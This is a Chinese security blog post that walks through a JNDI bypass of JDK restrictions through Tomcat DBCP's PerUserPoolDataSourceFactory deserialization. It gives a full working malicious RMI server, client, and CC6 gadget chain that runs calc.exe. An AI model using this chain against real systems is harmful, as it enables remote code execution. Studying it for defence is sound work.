jndi +反序列化攻击绕过 jdk 限制技术学习
前言
高版本的jndi本地工厂类的打法已经有很多师傅分析过了,当时打jdbc的工厂类的时候然后找到了一个很有意思
PerUserPoolDataSourceFactory
我们看到这个类的getNewInstance方法
protected InstanceKeyDataSource getNewInstance(Reference ref) throws IOException, ClassNotFoundException {
PerUserPoolDataSource pupds = new PerUserPoolDataSource();
RefAddr ra = ref.get("defaultMaxTotal");
if (ra != null && ra.getContent() != null) {
pupds.setDefaultMaxTotal(Integer.parseInt(ra.getContent().toString()));
}
ra = ref.get("defaultMaxIdle");
if (ra != null && ra.getContent() != null) {
pupds.setDefaultMaxIdle(Integer.parseInt(ra.getContent().toString()));
}
ra = ref.get("defaultMaxWaitMillis");
if (ra != null && ra.getContent() != null) {
pupds.setDefaultMaxWaitMillis((long)Integer.parseInt(ra.getContent().toString()));
}
ra = ref.get("perUserDefaultAutoCommit");
byte[] serialized;
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserDefaultAutoCommit((Map)deserialize(serialized));
}
ra = ref.get("perUserDefaultTransactionIsolation");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserDefaultTransactionIsolation((Map)deserialize(serialized));
}
ra = ref.get("perUserMaxTotal");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserMaxTotal((Map)deserialize(serialized));
}
ra = ref.get("perUserMaxIdle");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserMaxIdle((Map)deserialize(serialized));
}
ra = ref.get("perUserMaxWaitMillis");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserMaxWaitMillis((Map)deserialize(serialized));
}
ra = ref.get("perUserDefaultReadOnly");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserDefaultReadOnly((Map)deserialize(serialized));
}
return pupds;
}
其中的deserialize很少耀眼啊,哈哈哈哈
然后简单看了一下这个值,是我们可以控制的,哪他和我们高版本的jndi有什么关系呢?
首先我们找工厂类的时候需要是 ObjectFactory 的子类,然后我们看看这个类
看到他的父类,是个抽象类,但是他的 getObjectInstance 方法我们可以研究一下
public Object getObjectInstance(Object refObj, Name name, Context context, Hashtable<?, ?> env) throws IOException, ClassNotFoundException {
Object obj = null;
if (refObj instanceof Reference) {
Reference ref = (Reference)refObj;
if (this.isCorrectClass(ref.getClassName())) {
RefAddr refAddr = ref.get("instanceKey");
if (refAddr != null && refAddr.getContent() != null) {
obj = instanceMap.get(refAddr.getContent());
} else {
String key = null;
if (name != null) {
key = name.toString();
obj = instanceMap.get(key);
}
if (obj == null) {
InstanceKeyDataSource ds = this.getNewInstance(ref);
this.setCommonProperties(ref, ds);
obj = ds;
if (key != null) {
instanceMap.put(key, ds);
}
}
}
}
}
return obj;
}
可以看到最棒的是调用了 getNewInstance 方法,嘿嘿嘿嘿
现在的问题就是控制 ref 的问题了
Payload 构造+调试分析
就在边调试的时候构造 paylaod 吧
调试代码
首先简单写一个服务端,剩下的在调试分析的时候补充
public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(8888);
ResourceRef resourceRef =deser();
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("deser", referenceWrapper);
System.out.println("Registry运行中......");
}
private static ResourceRef deser() throws IOException {
ResourceRef ref=new ResourceRef("any",null,"","",true,"org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceFactory",null);
return ref;
}
客户端
package JNDI_RMI;
import javax.naming.InitialContext;
public class RMI_Cilent_ByPass {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:8888/deser";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
调用栈如下
getObjectInstance:111, InstanceKeyDataSourceFactory (org.apache.tomcat.dbcp.dbcp2.datasources)
getObjectInstance:31, PerUserPoolDataSourceFactory (org.apache.tomcat.dbcp.dbcp2.datasources)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:464, RegistryContext (com.sun.jndi.rmi.registry)
lookup:124, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
main:8, RMI_Cilent_ByPass (JNDI_RMI)
第一次构造
顺理成章的来到了 InstanceKeyDataSourceFactory 的 getObjectInstance 方法
首先就是第一个点
我们的 classname 也就是第一个传入的参数
跟进 isCorrectClass 方法看看具体的要求
protected boolean isCorrectClass(String className) {
return PER_USER_POOL_CLASSNAME.equals(className);
}
private static final String PER_USER_POOL_CLASSNAME = PerUserPoolDataSource.class.getName();
可以看到需要 classname 为
Org.Apache.Tomcat.Dbcp.Dbcp2.Datasources.PerUserPoolDataSource
修改后的 payload
public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(8888);
ResourceRef resourceRef =deser();
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("deser", referenceWrapper);
System.out.println("Registry运行中......");
}
private static ResourceRef deser() throws IOException {
ResourceRef ref=new ResourceRef("org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource",null);
return ref;
}
第二次构造
再次调试
可以发现已经成功的通过了 if 条件
然后顺利的来到了 getNewInstance 方法
protected InstanceKeyDataSource getNewInstance(Reference ref) throws IOException, ClassNotFoundException {
PerUserPoolDataSource pupds = new PerUserPoolDataSource();
RefAddr ra = ref.get("defaultMaxTotal");
if (ra != null && ra.getContent() != null) {
pupds.setDefaultMaxTotal(Integer.parseInt(ra.getContent().toString()));
}
ra = ref.get("defaultMaxIdle");
if (ra != null && ra.getContent() != null) {
pupds.setDefaultMaxIdle(Integer.parseInt(ra.getContent().toString()));
}
ra = ref.get("defaultMaxWaitMillis");
if (ra != null && ra.getContent() != null) {
pupds.setDefaultMaxWaitMillis((long)Integer.parseInt(ra.getContent().toString()));
}
ra = ref.get("perUserDefaultAutoCommit");
byte[] serialized;
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserDefaultAutoCommit((Map)deserialize(serialized));
}
ra = ref.get("perUserDefaultTransactionIsolation");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserDefaultTransactionIsolation((Map)deserialize(serialized));
}
ra = ref.get("perUserMaxTotal");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserMaxTotal((Map)deserialize(serialized));
}
ra = ref.get("perUserMaxIdle");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserMaxIdle((Map)deserialize(serialized));
}
ra = ref.get("perUserMaxWaitMillis");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserMaxWaitMillis((Map)deserialize(serialized));
}
ra = ref.get("perUserDefaultReadOnly");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserDefaultReadOnly((Map)deserialize(serialized));
}
return pupds;
}
会获取很多属性的值,我们只需要加入我们需要的属性的值即可
重点关注下面的几个有 deserialize 的方法
跟进看看
protected static final Object deserialize(byte[] data) throws IOException, ClassNotFoundException {
ObjectInputStream in = null;
Object var2;
try {
in = new ObjectInputStream(new ByteArrayInputStream(data));
var2 = in.readObject();
} finally {
if (in != null) {
try {
in.close();
} catch (IOException var9) {
}
}
}
return var2;
}
可以看到就是反序列化
所以我们构造一下 cc6 的 paylaod
package CC6;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
// 人畜无害的Transformer数组
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
new ConstantTransformer(1),// 隐藏错误信息
};
//因为下面在编写payload时会调用map.put方法,会执行transformer,这里先放入一个没用的transformer,在map.put执行完再改为真正的transformers
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
// 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
//在HashSet的readObject方法中,就有Map.put
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);//LazyMap的get方法会调用构造方法中传入的Transformer
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");//TiedMapEntry的hashcode方法会调用Map的get方法
Map expMap = new HashMap();//为了调用TiedMapEntry.hashcode,新new一个HashMap
//map.put方法也会调用key的hashcode方法,但是这是调试阶段,不应该在这个阶段就执行,因此要避免一下(new ChainedTransformer时传入一个无意义的Transformer)
expMap.put(tme, "valuevalue");//put方法会调用key的hashcode方法,相当于TiedMapEntry.hashcode
//put后再把key去除,防止影响后续执行,如果不去除,就会在序列化时执行,然后将map放入值导致LazyMap的get方法不能够调用到Transformer
outerMap.remove("keykey");
//等最后要⽣成Payload的时候,再把真正的 transformers 替换进去。
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");//获取ChainedTransformer的iTransformers属性
f.setAccessible(true);//设为公开
f.set(transformerChain, transformers);//设置transformerChain对象里面的iTransformers属性为transformers
serialize2(expMap);
unserialize("1.bin");
}
public static void serialize2(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}
public static void unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream out = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
out.readObject();
}
}
然后我们尝试一下修改 paylaod
public class RMI_Server_ByPass {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(8888);
ResourceRef resourceRef =deser();
ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
registry.bind("deser", referenceWrapper);
System.out.println("Registry运行中......");
}
private static ResourceRef deser() throws IOException {
ResourceRef ref=new ResourceRef("org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource",null,"","",true,"org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceFactory",null);
ref.add(new BinaryRefAddr("perUserDefaultAutoCommit",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
return ref;
}
然后运行服务端再运行客户端
package JNDI_RMI;
import javax.naming.InitialContext;
public class RMI_Cilent_ByPass {
public static void main(String[]args) throws Exception{
String string = "rmi://localhost:8888/deser";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
太秒了,太秒了
最后的 paylaod
因为刚才看到了很多都 deserialize 方法,是不是所有的都可以呢,我们再次修改 paylaod
ra = ref.get("perUserDefaultAutoCommit");
byte[] serialized;
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserDefaultAutoCommit((Map)deserialize(serialized));
}
ra = ref.get("perUserDefaultTransactionIsolation");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserDefaultTransactionIsolation((Map)deserialize(serialized));
}
ra = ref.get("perUserMaxTotal");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserMaxTotal((Map)deserialize(serialized));
}
ra = ref.get("perUserMaxIdle");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserMaxIdle((Map)deserialize(serialized));
}
ra = ref.get("perUserMaxWaitMillis");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserMaxWaitMillis((Map)deserialize(serialized));
}
ra = ref.get("perUserDefaultReadOnly");
if (ra != null && ra.getContent() != null) {
serialized = (byte[])((byte[])ra.getContent());
pupds.setPerUserDefaultReadOnly((Map)deserialize(serialized));
}
修改后的代码
private static ResourceRef deser() throws IOException {
ResourceRef ref=new ResourceRef("org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSource",null,"","",true,"org.apache.tomcat.dbcp.dbcp2.datasources.PerUserPoolDataSourceFactory",null);
ref.add(new BinaryRefAddr("perUserDefaultAutoCommit",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
ref.add(new BinaryRefAddr("perUserDefaultTransactionIsolation",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
ref.add(new BinaryRefAddr("perUserMaxTotal",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
ref.add(new BinaryRefAddr("perUserMaxIdle",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
ref.add(new BinaryRefAddr("perUserMaxWaitMillis",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
ref.add(new BinaryRefAddr("perUserDefaultReadOnly",Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\JNDI\\1.bin"))));
return ref;
}
按照道理来说应该弹出 6 个计算器
太对了,太对了
成功
最后
其实肯定还有更多的方法可以去实现不同的攻击面,后面还会再去挖掘一些